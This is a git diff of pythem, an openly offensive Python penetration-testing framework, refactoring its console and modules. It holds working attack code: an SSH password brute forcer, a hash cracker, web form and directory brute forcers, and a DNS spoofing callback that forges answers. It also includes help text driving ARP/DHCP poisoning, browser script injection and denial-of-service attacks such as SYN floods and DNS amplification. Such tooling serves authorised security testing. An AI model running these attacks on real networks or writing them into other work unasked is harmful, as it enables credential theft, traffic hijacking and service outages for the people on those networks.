diff --git a/README.md b/README.md index 9406a11..232ea82 100755 --- a/README.md +++ b/README.md @@ -72,8 +72,16 @@ $ sudo pythem - Requires Docker +Stable: + +``` +docker run -it --net=host --rm --name pythem m4n3dw0lf/pythem:latest +``` + +Pythem-dev: + ``` -docker run -it --net=host --rm --name pythem m4n3dw0lf/pythem +docker run -it --net=host --rm --name pythem m4n3dw0lf/pythem:pythem-dev ```

diff --git a/pythem/core/interface.py b/pythem/core/interface.py index 0b1082b..f5a0a40 100644 --- a/pythem/core/interface.py +++ b/pythem/core/interface.py @@ -24,14 +24,23 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * -from pythem.modules.utils import * -from pythem.modules.completer import Completer import os, sys import termcolor -import readline import psutil -import threading -from time import sleep + +from pythem.modules.utils import * +from pythem.modules.dos import * +from pythem.modules.sniffer import * +from pythem.modules.pforensic import * +from pythem.modules.scanner import * +from pythem.modules.webcrawler import * +from pythem.modules.arpoisoner import * +from pythem.modules.dnspoisoner import * +from pythem.modules.redirect import * +from pythem.modules.dhcpoisoner import * +from pythem.modules.xploit import * +from pythem.modules.bruteforcer import * +from pythem.modules.completer import Completer def save_command_history(cmd): @@ -46,7 +55,7 @@ def save_command_history(cmd): class Processor(object): name = "Interface-Processor" desc = "Console to process commands" - version = "1.6" + version = "1.7" def __init__(self): # Script path @@ -105,12 +114,10 @@ def start(self): save_command_history(self.command) # Separate the user input by spaces " ", can use like this too: self.input_list = [str(a) for a in self.argv] self.input_list = self.command.split() - try: # HELP if self.command == "help": print_help() - # EXIT elif self.command == "exit" or self.command == "quit": print "[*] User requested shutdown." @@ -120,7 +127,6 @@ def start(self): iptables() set_ip_forwarding(0) exit() - elif self.input_list[0] == "set" or self.input_list[0] == "SET": try: if self.input_list[1] == "interface": @@ -139,7 +145,6 @@ def start(self): self.port = input("[+] Enter the default port: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "domain": try: self.domain = self.input_list[2] @@ -148,7 +153,6 @@ def start(self): self.domain = raw_input("[+] Domain to be spoofed: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "redirect": try: self.redirect = self.input_list[2] @@ -157,7 +161,6 @@ def start(self): self.redirect = raw_input("[+] IP address to redirect DNS queries: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "script": try: self.script = self.input_list[2] @@ -166,7 +169,6 @@ def start(self): self.script = raw_input("[+]Script url/path: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "gateway": try: self.gateway = self.input_list[2] @@ -175,7 +177,6 @@ def start(self): self.gateway = raw_input("[+] Enter the gateway: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "target": try: self.targets = self.input_list[2] @@ -184,7 +185,6 @@ def start(self): self.targets = raw_input("[+] Enter the target(s): ") except KeyboardInterrupt: pass - elif self.input_list[1] == "file": try: self.file = self.input_list[2] @@ -193,7 +193,6 @@ def start(self): self.file = raw_input("[+] Enter the path to the file: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "filter": try: self.filter = self.input_list[2] @@ -202,7 +201,6 @@ def start(self): self.filter = raw_input("[+] Enter the sniffer filter: ") except KeyboardInterrupt: pass - elif self.input_list[1] == "help": print "\n[Help] Select a variable to set." print "parameters:" @@ -216,7 +214,6 @@ def start(self): print " - filter" print "example:" print "{} set interface\n".format(console) - except IndexError: print "[!] Select a valid variable to set." @@ -247,11 +244,7 @@ def start(self): elif self.input_list[0] == "webcrawl": if self.input_list[1] == "help": - print "\n[Help] Start a webcrawler in target URL." - print "[Required] URL as target" - print "example:" - print "{} set target http://10.0.0.1/app".format(console) - print "{} webcrawl start\n".format(console) + print(webcrawler_help) continue elif self.input_list[1] == "start": from pythem.modules.webcrawler import WebCrawler @@ -269,28 +262,19 @@ def start(self): pass except Exception as e: print "[!] Exception caught: {}".format(e) - except Exception as e: - print "[!] Exception caught: {}".format(e) + except Exception as e: + print "[!] Exception caught: {}".format(e) elif self.input_list[0] == "scan": try: if self.input_list[1] == "help": - print "\n[Help] Start a scanner in target host." - print "[Required] interface and target" - print "parameters:" - print " - tcp" - print " - arp" - print " - manual" - print "example:" - print "{} set target www.google.com".format(console) - print "{} set interface eth0".format(console) - print "{} scan tcp\n".format(console) + print(scanner_help) continue mode = self.input_list[1] if self.targets is not None and self.interface is not None: from pythem.modules.scanner import Scanner - self.scan = Scanner(self.targets, self.interface, mode) - self.scan.start() + self.scan = Scanner() + self.scan.start(self.targets, self.interface, mode) else: print "[!] You probably forgot to set the interface or a valid IP address/range." except IndexError: @@ -299,17 +283,13 @@ def start(self): mode = raw_input("[+] Scan mode: ") except KeyboardInterrupt: pass - if self.targets is not None and self.interface is not None: from pythem.modules.scanner import Scanner - self.scan = Scanner(self.targets, self.interface, mode) - self.scan.start() + self.scan = Scanner() + self.scan.start(self.targets, self.interface, mode) else: print "[!] You probably forgot to set the interface or a valid IP address/range." pass - - except KeyboardInterrupt: - pass except Exception as e: print "[!] Exception caught: {}".format(e) pass @@ -317,40 +297,25 @@ def start(self): elif self.input_list[0] == "arpspoof": try: if self.input_list[1] == "start": - from pythem.modules.arpoisoner import ARPspoof myip = get_myip(self.interface) mymac = get_mymac(self.interface) self.arpspoof_status = True - self.spoof = ARPspoof(self.gateway, self.targets, self.interface, myip, mymac) - self.spoof.start() + self.spoof = ARPspoof() + self.spoof.start(self.gateway,self.targets,self.interface,myip,mymac) print "[+] ARP spoofing initialized." - elif self.input_list[1] == "stop": self.spoof.stop() self.arpspoof_status = False print "[+] ARP spoofing finalized." - elif self.input_list[1] == "status": if self.arpspoof_status: stat = "running" else: stat = "down" print "[*] ARP spoofing status: {}".format(stat) - elif self.input_list[1] == "help": - print "\n[Help] Start an ARP spoofing attack." - print - print "parameters:" - print " - start" - print " - stop" - print " - status" - print " - help" - print "example:" - print "{} set interface eth0".format(console) - print "{} set gateway 192.168.0.1".format(console) - print "{} arpspoof start\n".format(console) + print(arpoisoner_help) continue - else: print "[!] Select a valid option, call help to check syntax." except TypeError: @@ -365,31 +330,21 @@ def start(self): elif self.input_list[0] == "dhcpspoof": try: if self.input_list[1] == "start": - from pythem.modules.dhcpoisoner import DHCPspoof self.dhcpspoof_status = True - self.dhcpspoof = DHCPspoof("test") + self.dhcpspoof = DHCPspoof() + self.dhcpspoof.start("silent") print "[+] DHCP spoofing initialized." - elif self.input_list[1] == "stop": print "[+] DHCP spoofing finalized." exit(0) - elif self.input_list[1] == "status": if self.dhcpspoof_status: stat = "running" else: stat = "down" print "[*] DHCP spoofing status: {}".format(stat) - elif self.input_list[1] == "help": - print "\n[Help] Start a DHCP ACK Injection spoofing attack." - print "parameters:" - print " - start" - print " - stop" - print " - status" - print " - help" - print "example:" - print "{} dhcpspoof start\n".format(console) + print(dhcpoisoner_help) continue else: print "[!] Select a valid option, call help to check syntax." @@ -404,7 +359,6 @@ def start(self): if not self.arpspoof_status: print "[!] You probably forgot to start an ARP spoofing." continue - if self.domain: domain = self.domain else: @@ -414,7 +368,6 @@ def start(self): self.domain = domain except KeyboardInterrupt: pass - if self.redirect: redirect = self.redirect else: @@ -429,10 +382,8 @@ def start(self): pass else: redirect = myip - - from pythem.modules.dnspoisoner import DNSspoof - self.dnsspoof = DNSspoof(redirect) - self.dnsspoof.start(domain, None) + self.dnsspoof = DNSspoof() + self.dnsspoof.start(domain, None, redirect) print "[+] DNS spoofing initialized" self.dnsspoof_status = True @@ -440,28 +391,15 @@ def start(self): self.dnsspoof.stop() self.dnsspoof_status = False print "[+] DNS spoofing finalized" - elif self.input_list[1] == "status": if self.dnsspoof_status: stat = "running" else: stat = "down" print "[*] DNS spoofing status: {}".format(stat) - elif self.input_list[1] == "help": - print "\n[Help] Start to DNS spoof." - print "[Required] ARP spoof started." - print "parameters:" - print " - start" - print " - stop" - print " - status" - print " - help" - print "example:" - print "{} dnsspoof start".format(console) - print "[!] Type all to spoof all domains" - print "[+] Domain to be spoofed: www.google.com\n" + print(dnspoisoner_help) continue - else: print "[!] Select a valid option, call help to check syntax." except IndexError: @@ -474,42 +412,28 @@ def start(self): if self.input_list[1] == "start": myip = get_myip(self.interface) try: - from pythem.modules.redirect import Redirect - self.redirect = Redirect(myip, self.port, self.script) + self.redirect = Redirect() self.redirect_status = True - self.redirect.server() + self.redirect.start(myip, self.port, self.script) except AttributeError: print "\n[!] Select a valid script source path or url." except Exception as e: print "[!] Exception caught: {}".format(e) - elif self.input_list[1] == "stop": try: self.redirect.stop() self.redirect_status = False except Exception as e: print "[!] Exception caught: {}".format(e) - elif self.input_list[1] == "status": if self.redirect_status: stat = "running" else: stat = "down" print "[*] Script redirect status: {}".format(stat) - elif self.input_list[1] == "help": - print "\n[Help] Start to inject a source script into target browser then redirect to original destination." - print "[Required] ARP spoof started." - print "parameters:" - print " - start" - print " - stop" - print " - status" - print " - help" - print "example:" - print "{} redirect start".format(console) - print "[+] Enter the script source: http://192.168.1.6:3000/hook.js\n" + print(redirect_help) continue - else: print "[!] You need to specify start, stop or status after the redirect module call." except IndexError: @@ -520,16 +444,12 @@ def start(self): print "[!] Exception caught: {}".format(e) elif self.input_list[0] == "dos": - from pythem.modules.dos import DOSer self.dos = DOSer() try: if self.input_list[1] == "dnsdrop": try: if self.input_list[2] == "help": - print "\n[Help] Start to drop DNS queries that pass through man-in-the-middle traffic." - print "[Required] ARP spoof started" - print "example:" - print "{} dos dnsdrop\n".format(console) + print(dnsdrop_help) continue except IndexError: if self.arpspoof_status: @@ -545,10 +465,8 @@ def start(self): if self.input_list[1] == "httpflood": try: if self.input_list[2] == "help": - print "\n[Help] Start a HTTP request flood on a target URL, *Only GET method supported by now." - print "example:" - print "{} set target http://localhost/".format(console) - print "{} dos httpflood\n".format(console) + print(httpflood_help) + continue except IndexError: if not self.targets: print "[!] You probably forgot to set an URL as target." @@ -561,11 +479,8 @@ def start(self): elif self.input_list[1] == "dnsamplification": try: if self.input_list[2] == "help": - print "\n[Help] Start a DNS amplification attack on target address with given DNS servers to amplificate." - print "example:" - print "{} set target 1.2.3.4".format(console) - print "{} dos dnsamplification".format(console) - print "[+] DNS Server to use in amplification attack(separated by commas): 8.8.8.8,8.8.4.4\n" + print(dnsamplification_help) + continue except IndexError: if not self.targets: print "[!] You probably forgot to set a IP address as target." @@ -579,9 +494,7 @@ def start(self): elif self.input_list[1] == "dhcpstarvation": try: if self.input_list[2] == "help": - print "\n[Help] Start a DHCP starvation attack on network DHCP server. Multiple spoofed mac dhcp discovers." - print "example:" - print "{} dos dhcpstarvation\n".format(console) + print(dhcpstarvation_help) continue except IndexError: try: @@ -593,12 +506,7 @@ def start(self): elif self.input_list[1] == "land": try: if self.input_list[2] == "help": - print "\n[Help] Start a LAND attack on a target." - print "[Required] Target" - print "[Optional] Port, default = 80" - print "example:" - print "{} set target 10.0.0.101".format(console) - print "{} dos land\n".format(console) + print(land_help) continue except IndexError: if not self.targets: @@ -613,11 +521,7 @@ def start(self): elif self.input_list[1] == "pingofdeath": try: if self.input_list[2] == "help": - print "\n[Help] Start a Ping of Death attack on a target." - print "[Required] Target" - print "example:" - print "{} set target 192.168.1.101".format(console) - print "{} dos pingofdeath\n".format(console) + print(pingofdeath_help) continue except IndexError: if not self.targets: @@ -632,12 +536,7 @@ def start(self): elif self.input_list[1] == "udpflood": try: if self.input_list[2] == "help": - print "\n[Help] Start a UDP flood attack on target host, default port = 80, set port to change." - print "[Required] Target" - print "[Optional] port" - print "example:" - print "{} set target 192.168.1.4".format(console) - print "{} dos synflood\n".format(console) + print(udpflood_help) continue except IndexError: @@ -654,12 +553,7 @@ def start(self): elif self.input_list[1] == "icmpflood": try: if self.input_list[2] == "help": - print "\n[Help] Start a ICMP flood attack on target host." - print "[Required] Target and interface" - print "example:" - print "{} set target 10.0.0.1".format(console) - print "{} set interface wlan0".format(console) - print "{} dos icmpflood\n".format(console) + print(icmpflood_help) continue except IndexError: if not self.targets: @@ -675,13 +569,7 @@ def start(self): elif self.input_list[1] == "synflood": try: if self.input_list[2] == "help": - print "\n[Help] Start a SYN flood attack on target host, default port = 80, set port to change." - print "[Required] Target and interface" - print "[Optional] port" - print "example:" - print "{} set target 192.168.1.4".format(console) - print "{} set interface wlan0".format(console) - print "{} dos synflood\n".format(console) + print(synflood_help) continue except IndexError: if not self.targets: @@ -697,12 +585,7 @@ def start(self): elif self.input_list[1] == "icmpsmurf": try: if self.input_list[2] == "help": - print "\n[Help] Start a ICMP smurf attack on target host. send echo-requests with spoofed target address." - print "[Required] Target and interface" - print "example:" - print "{} set target 192.168.1.4".format(console) - print "{} set interface wlan0".format(console) - print "{} dos icmpsmurf\n".format(console) + print(icmpsmurf_help) continue except IndexError: if not self.targets: @@ -717,12 +600,7 @@ def start(self): elif self.input_list[1] == "teardrop": try: if self.input_list[2] == "help": - print "\n[Help] Start an UDP teardrop fragmentation attack." - print "[Required] Target and interface" - print "example:" - print "{} set interface wlan0".format(console) - print "{} set target 192.168.0.6".format(console) - print "{} dos teardrop\n".format(console) + print(teardrop_help) continue except IndexError: if not self.targets: @@ -734,23 +612,9 @@ def start(self): except Exception as e: print "[!] Exception caught: {}".format(e) - elif self.input_list[1] == "help": - print "\n[Help] Start to perform a choosen denial of service in target." - print "[Required] Depends" - print "parameters:" - print " - dnsdrop" - print " - synflood" - print " - udpflood" - print " - teardrop" - print " - icmpflood" - print " - icmpsmurf" - print " - dhcpstarvation" - print " - dnsamplification" - print " - httpflood" - print - print "example:" - print "{} dos icmpsmurf help\n".format(console) + print(dos_help) + else: print"[!] Select a valid option, type help to check syntax." @@ -759,28 +623,18 @@ def start(self): elif self.command == "sniff help": if self.input_list[1] == "help": - print "\n[Help] Start to sniff network traffic with custom scapy filter." - print "[Required] Interface" - print "[Optional] Filter in tcpdump format" - print "[Custom filters]:" - print " - http (Quick 'port 80')" - print " - dns (Quick 'port 53')" - print " - core (Core network events)" - print "examples:" - print "{} set interface wlan0".format(console) - print "{} sniff port 1337 and host 192.168.1.1\n".format(console) + print(sniff_help) continue elif self.input_list[0] == "sniff": - from pythem.modules.sniffer import Sniffer try: hasfilter = self.input_list[1] self.filter = " ".join(self.input_list[1:]) if self.filter == "dns": self.filter = "port 53" - self.sniff = Sniffer(self.interface, self.filter) + self.sniff = Sniffer() print "\n[+] pythem sniffer initialized.\n" - self.sniff.start() + self.sniff.start(self.interface, self.filter) except IndexError: try: @@ -789,29 +643,23 @@ def start(self): self.filter = "port 53" if not self.filter: self.filter = None - self.sniff = Sniffer(self.interface, self.filter) + self.sniff = Sniffer() print "\n[+] pythem sniffer initialized.\n" - self.sniff.start() + self.sniff.start(self.interface, self.filter) except KeyboardInterrupt: pass elif self.input_list[0] == "pforensic": try: if self.input_list[1] == "help": - print "\n[Help] Start a packet-analyzer." - print "[Required] Set a file with a .pcap file" - print "example:" - print "{} set file capture.pcap".format(console) - print "{} pforensic\n".format(console) + print(pforensic_help) continue - else: print "[!] Invalid option." except IndexError: try: - from pythem.modules.pforensic import PcapReader - self.pcapread = PcapReader(self.file) - self.pcapread.start() + self.pcapread = PcapReader() + self.pcapread.start(self.file) except KeyboardInterrupt: pass except TypeError: @@ -824,48 +672,16 @@ def start(self): elif self.input_list[0] == "xploit": try: from pythem.modules.xploit import Exploit - if self.targets is not None and self.input_list[1] == "tcp": - self.xploit = Exploit(self.targets, self.input_list[1]) - self.xploit.start() - elif self.file is not None and self.input_list[1] == "stdin": - self.xploit = Exploit(self.file, self.input_list[1]) - self.xploit.start() - elif self.input_list[1] == "help": - print "\n[Help] Interactive stdin or tcp exploit development shell." - print "[Optional] File as target to stdin and IP address as target to tcp" - print "parameters:" - print " - tcp" - print " - stdin" - print "example:" - print "{} set target 192.168.1.1".format(console) - print "{} xploit tcp\n".format(console) + if len(self.input_list) > 1: + if self.input_list[1] == "help": + print(xploit_help) + continue + elif self.file: + self.xploit = Exploit() + self.xploit.start(self.file) else: - self.xploit = Exploit(None, "stdin") - self.xploit.start() - except IndexError: - try: - print "[*] Select xploit mode (or press enter to enter xploit console), options = stdin/tcp" - mode = raw_input("[+] Exploit mode: ") - if mode == "stdin" or mode == "tcp": - from pythem.modules.xploit import Exploit - if self.targets is not None: - self.xploit = Exploit(self.targets, mode) - self.xploit.start() - elif self.file is not None: - self.xploit = Exploit(self.file, mode) - self.xploit.start() - else: - print "[!] You need to set or a file or a target to xploit." - self.xploit = Exploit(None, "stdin") - self.xploit.start() - else: - self.xploit = Exploit(None, "stdin") - self.xploit.start() - except KeyboardInterrupt: - pass - except TypeError: - print "[!] You probably forgot to set the file" - pass + self.xploit = Exploit() + self.xploit.start(None) except KeyboardInterrupt: pass except Exception as e: @@ -876,10 +692,8 @@ def start(self): try: try: if self.input_list[1] == "help": - print "\n[Help] Decode a base64 unquoted Cookie." - print "example:" - print "{} cookiedecode".format(console) - print "[+] Enter the cookie value:\n" + print(cookiedecode_help) + continue except IndexError: cookiedecode() except KeyboardInterrupt: @@ -891,11 +705,7 @@ def start(self): elif self.input_list[0] == "decode": try: if self.input_list[1] == "help": - print "\n[Help] Decode a base64 string." - print "example:" - print "{} decode".format(console) - print "[+] Decode: " - print "[+] Enter the string to be decoded:\n" + print(decode_help) continue except IndexError: try: @@ -909,11 +719,7 @@ def start(self): elif self.input_list[0] == "encode": try: if self.input_list[1] == "help": - print "\n[Help] Encode a base64 string." - print "example:" - print "{} encode".format(console) - print "[+] Encode: " - print "[+] Enter the string to be encoded:\n" + print(encode_help) continue print encode(self.input_list[1]) except IndexError: @@ -928,52 +734,40 @@ def start(self): elif self.input_list[0] == "brute": try: if self.input_list[1] == "help": - print "\n[Help] Brute-Force attacks, good luck padawan." - print "[Required] File as password wordlist and target as URL or IP." - print "parameters:" - print " - ssh" - print " - form" - print " - url" - print " - hash" - print "example:" - print "{} brute ssh help\n".format(console) + print(brute_help) continue if self.input_list[1] == "hash": try: if self.input_list[2] == "help": - print "\n[Help] Hash Brute-Force" - print "[Optional]File as wordlist, hash as target." - print "example:" - print "{} set file wordlist.txt".format(console) - print "{} set target 35f5de5eb59e2ac7f73d5821f9f2e4f6".format(console) - print "{} brute hash\n".format(console) + print(brute_hash_help) + continue else: print "[!] Invalid option." except IndexError: - from pythem.modules.hashcracker import HashCracker - hashcrack = HashCracker(self.targets, self.file) + cracker = HashCracker() + found = cracker.hashcrack(self.targets, self.file) + if found: print found except KeyboardInterrupt: pass if self.input_list[1] == "ssh": try: if self.input_list[2] == "help": - print "\n[Help] SSH Brute-Force" - print "[Required] IP address as target." - print "example:" - print "{} set file wordlist.txt".format(console) - print "{} set target 192.168.1.5".format(console) - print "{} brute ssh\n".format(console) + print(brute_ssh_help) continue else: print "[!] Invalid option." except IndexError: try: username = raw_input("[+] Enter the username to bruteforce: ") - from pythem.modules.ssh_bruter import SSHbrutus - brutus = SSHbrutus(self.targets, username, self.file) - brutus.start() + port = raw_input("[+] Enter SSH port (Enter for 22):") + if not port: + ssh_port = 22 + else: + ssh_port = int(port) + brutus = SSHbrutus() + brutus.start(self.targets, username, self.file, ssh_port) except KeyboardInterrupt: pass except TypeError: @@ -983,25 +777,17 @@ def start(self): elif self.input_list[1] == "url": try: if self.input_list[2] == "help": - print "\n[Help] URL Brute-Force" - print "[Required] URL (with http:// or https://) as target" - print "example:" - print "{} set file wordlist.txt".format(console) - print "{} set target http://testphp.vulnweb.com/products.php?id=".format( - console) - print "{} brute url\n".format(console) + print(brute_url_help) continue else: print "[!] Invalid option." except IndexError: try: - url = 'url' - from pythem.modules.web_bruter import WEBbrutus - brutus = WEBbrutus(self.targets, self.file) - brutus.start(url) + brutus = WEBbrutus() + brutus.start('url',self.targets,self.file) except KeyboardInterrupt: - brutus.stop(url) + brutus.stop('url') pass except TypeError: print "[!] You probably forgot to set the wordlist file path." @@ -1010,24 +796,17 @@ def start(self): elif self.input_list[1] == "form": try: if self.input_list[2] == "help": - print "\n[Help] Formulary Brute-Force" - print "[Required] URL (with http:// or https://) as target" - print "example:" - print "{} set file wordlist.txt".format(console) - print "{} set target http://testphp.vulnweb.com/login.php".format(console) - print "{} brute form\n".format(console) + print(brute_form_help) continue else: print "[!] Invalid option." except IndexError: try: - form = 'form' - from pythem.modules.web_bruter import WEBbrutus - brutus = WEBbrutus(self.targets, self.file) - brutus.start(form) + brutus = WEBbrutus() + brutus.start('form',self.targets,self.file) except KeyboardInterrupt: - brutus.stop(form) + brutus.stop('form') pass except TypeError: print "[!] You probably forgot to set the wordlist file path." diff --git a/pythem/modules/arpoisoner.py b/pythem/modules/arpoisoner.py index ebadeb4..e8ff9ed 100644 --- a/pythem/modules/arpoisoner.py +++ b/pythem/modules/arpoisoner.py @@ -29,10 +29,16 @@ class ARPspoof(object): name = "ARP poisoner spoofer" desc = "Use arp spoofing in order to realize a man-in-the-middle attack" - version = "0.5" + version = "0.6" - def __init__(self, gateway, targets, interface, myip, mymac): + def __init__(self): + self.gateway = None + self.targets = None + self.interface = None + self.myip = None + self.mymac = None + def start(self, gateway, targets, interface, myip, mymac): try: self.gateway = str(IPAddress(gateway)) except AddrFormatError as e: @@ -49,8 +55,6 @@ def __init__(self, gateway, targets, interface, myip, mymac): self.mymac = mymac self.socket = conf.L3socket(iface=self.interface) self.socket2 = conf.L2socket(iface=self.interface) - - def start(self): t = threading.Thread(name='ARPspoof', target=self.spoof) t.setDaemon(True) t.start() @@ -86,7 +90,7 @@ def get_range(self, targets): def resolve_mac(self, targetip): try: conf.verb = 0 - ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", pdst=targetip), timeout=2) + ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", pdst=targetip), timeout=2, iface=self.interface) for snd, rcv in ans: return str(rcv[Ether].src) except socket.gaierror: @@ -177,3 +181,17 @@ def stop(self): self.socket.close() self.socket2.close() return + + +arpoisoner_help = """\n +[Help] Start an ARP spoofing attack. +parameters: + - start + - stop + - status + - help +example: +pythem> set interface eth0 +pythem> set gateway 192.168.0.1 +pythem> arpspoof start +\n""" diff --git a/pythem/modules/web_bruter.py b/pythem/modules/bruteforcer.py similarity index 52% rename from pythem/modules/web_bruter.py rename to pythem/modules/bruteforcer.py index 71ac68c..ecb2c53 100644 --- a/pythem/modules/web_bruter.py +++ b/pythem/modules/bruteforcer.py @@ -19,31 +19,71 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA + +from hashlib import * +from sys import argv +import os +import paramiko +import sys +import socket +from os import R_OK import urllib2 import Queue import urllib -import sys -import os import mechanize +class HashCracker(object): + + def __init__(self): + self.hash = None + self.wordlist = None + self.type = None + + def hashcrack(self, hash=None, wordlist=None): + if not hash: + self.hash = raw_input("[+] Enter the Hash: ") + else: + self.hash = hash + + if not wordlist: + wordlist = raw_input("[+] Select file as wordlist: ") + + self.wordlist = open(wordlist).readlines() + hash_type = {32: "md5", 40: "sha1", 56: "sha224", 64: "sha256", 128: "sha512"} + if not self.type: + print "[+] Supported Hashes: md5, sha1, sha224, sha256, sha512" + try: + print "[+] Most likely: {}".format(hash_type[len(self.hash)]) + except: + pass + self.type = raw_input("[+] Hash Type: ") + + hash_mapping = { + "md5":md5, "sha1":sha1, "sha224":sha224, + "sha256":sha256, "sha512":sha512 + } + if self.type not in hash_mapping.keys(): + return "[-] Hash type not supported." + + try: + for word in self.wordlist: + if hash_mapping[self.type](word).hexdigest() == self.hash: + return "[+] {} Cracked: {}".format(self.type.upper(), word) + return "[-] Hash not cracked, try another wordlist." + except Exception as e: + print "[!] Exception caught: {}".format(e) + class WEBbrutus(object): name = "WEB brute forcer" desc = "Perform web password and directory brute-force" version = "0.3" - def __init__(self, target, file): - self.threads = 5 - self.target_url = target - self.wordlist = file - self.resume = None - self.user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefor/19.0" - self.word_queue = self.build_wordlist(self.wordlist) - self.extensions = [".txt", ".php", ".bak", ".orig", ".inc", ".doc"] - self.line = "\n------------------------------------------------------------------------\n" + def __init__(self): + self.target_url = None + self.wordlist = None def build_wordlist(self, wordlist): - # Le a lista de palavras wordlist = self.wordlist fd = open(self.wordlist, "rb") raw_words = fd.readlines() @@ -124,7 +164,15 @@ def dir_bruter(self, word_queue, extensions=None): except KeyboardInterrupt: break - def start(self, mode): + def start(self, mode, target, file): + self.target_url = target + self.wordlist = file + self.threads = 5 + self.resume = None + self.user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefor/19.0" + self.word_queue = self.build_wordlist(self.wordlist) + self.extensions = [".txt", ".php", ".bak", ".orig", ".inc", ".doc"] + self.line = "\n------------------------------------------------------------------------\n" if mode == 'url': print "[+] Content URL bruter initialized." try: @@ -151,3 +199,123 @@ def stop(self, mode): print "[-] Brute-Form authentication finalized." except Exception as e: print "[!] Exception caught: {}".format(e) + + + +class SSHbrutus(object): + """SSH brute force class. """ + name = "SSH Brute-forcer" + desc = "Perform password brute-force on SSH" + version = "0.1" + + def __init__(self): + self.trgt = None + self.usr = None + self.fobj = None + self.port = None + + def exists(self): + """Tests if the file exists and if the executing user has read access + to the file. Returns file if both tests are passed. """ + if not os.path.isfile(self.fobj): + print '[-] File not found: {0}'.format(self.fobj) + sys.exit(1) + + if not os.access(self.fobj, R_OK): + print '[-] Denied read access: {0}'.format(self.fobj) + sys.exit(1) + + if os.path.isfile(self.fobj) and os.access(self.fobj, R_OK): + return self.fobj + + def ssh_connect(self, passwd, code=0): + """Connects to the SSH server, attempts to authenticate and returns the + exit code from the attempt. """ + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + + try: + ssh.connect(self.trgt, port=self.port, username=self.usr, password=passwd, timeout=2) + except paramiko.AuthenticationException: + code = 1 + except socket.error, err: + code = 2, err + + ssh.close() + return code + + def start(self, trgt, usr, fobj, port): + self.trgt = trgt + self.usr = usr + self.fobj = fobj + self.port = port + """Itterates trough the password list and checks wheter or not the + correct password has been found. """ + wlist = open(self.fobj) + + for i in wlist.readlines(): + passwd = i.strip("\n") + resp = self.ssh_connect(passwd) + + if type(resp) == int: + + if resp == 0: + print "[+] User: {0}".format(self.usr) + print "[+] Password found!: {0}".format(passwd) + break + + if resp == 1: + print "[-] User: {0} Password: {1}".format(self.usr, passwd) + + elif resp[0] == 2: + print "[!] {0}: {1}".format(resp[1], self.trgt) + break + wlist.close() + +brute_help = """\n +[Help] Brute-Force attacks, good luck padawan. +[Required] File as password wordlist and target as URL or IP. +parameters: + - ssh + - form + - url + - hash +example: +pythem> brute ssh help +\n""" + +brute_ssh_help = """\n +[Help] SSH Brute-Force +[Required] IP address as target. +example: +pythem> set file wordlist.txt +pythem> set target 192.168.1.5 +pythem> brute ssh +\n""" + +brute_form_help = """\n +[Help] Formulary Brute-Force +[Required] URL (with http:// or https://) as target +example: +pythem> set file wordlist.txt +pythem> set target http://testphp.vulnweb.com/login.php +pythem> brute form +\n""" + +brute_url_help = """\n +[Help] URL Brute-Force +[Required] URL (with http:// or https://) as target +example: +pythem> set file wordlist.txt +pythem> set target http://testphp.vulnweb.com/products.php?id= +pythem> brute url +\n""" + +brute_hash_help = """\n +[Help] Hash Brute-Force +[Optional]File as wordlist, hash as target. +example: +pythem> set file wordlist.txt +pythem> set target 35f5de5eb59e2ac7f73d5821f9f2e4f6 +pythem> brute hash +\n""" diff --git a/pythem/modules/dhcpoisoner.py b/pythem/modules/dhcpoisoner.py index 3ba6f4f..968ffec 100644 --- a/pythem/modules/dhcpoisoner.py +++ b/pythem/modules/dhcpoisoner.py @@ -27,11 +27,10 @@ class DHCPspoof(object): name = "DHCP Spoofing" desc = "DHCP ACK injection with DHCP Request monitor callback" - version = "0.1" + version = "0.2" - def __init__(self, mode): - if mode == "test": - return + + def start(self, mode): try: self.dhcp_server_ip = raw_input("[+] DHCP Server IP address: ") self.lease = 43200 # input("[+] Lease time: ") @@ -46,7 +45,6 @@ def __init__(self, mode): print "[!] Exception caught: {}".format(e) except KeyboardInterrupt: exit(0) - if mode == "silent": t = threading.Thread(name="DHCPspoof", target=self.spoof) t.setDaemon(True) @@ -108,6 +106,17 @@ def callback(self, p): print "[!] Exception at try at line 110: {}".format(e) pass +dhcpoisoner_help = """\n +[Help] Start a DHCP ACK Injection spoofing attack. +parameters: + - start + - stop + - status + - help +example: +pythem> dhcpspoof start +\n""" + if __name__ == "__main__": try: diff --git a/pythem/modules/dnspoisoner.py b/pythem/modules/dnspoisoner.py index 2593164..d2c32e4 100644 --- a/pythem/modules/dnspoisoner.py +++ b/pythem/modules/dnspoisoner.py @@ -29,10 +29,10 @@ class DNSspoof(object): name = "DNS spoofing" desc = "Filter DNS packets while in man-in-the-middle and modify packet." - version = "0.4" + version = "0.5" - def __init__(self, fake): - self.fake = fake + def __init__(self): + self.fake = None def callback(self, packet): payload = packet.get_payload() @@ -48,6 +48,7 @@ def callback(self, packet): an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake)) packet.set_payload(str(new_pkt)) packet.accept() + self.currentdomain = str(pkt[DNS].qd.qname) elif self.domain == "all": new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \ @@ -56,6 +57,7 @@ def callback(self, packet): an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake)) packet.set_payload(str(new_pkt)) packet.accept() + self.currentdomain = str(pkt[DNS].qd.qname) elif self.domain in pkt[DNS].qd.qname: new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \ @@ -64,6 +66,7 @@ def callback(self, packet): an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake)) packet.set_payload(str(new_pkt)) packet.accept() + self.currentdomain = str(pkt[DNS].qd.qname) else: packet.accept() @@ 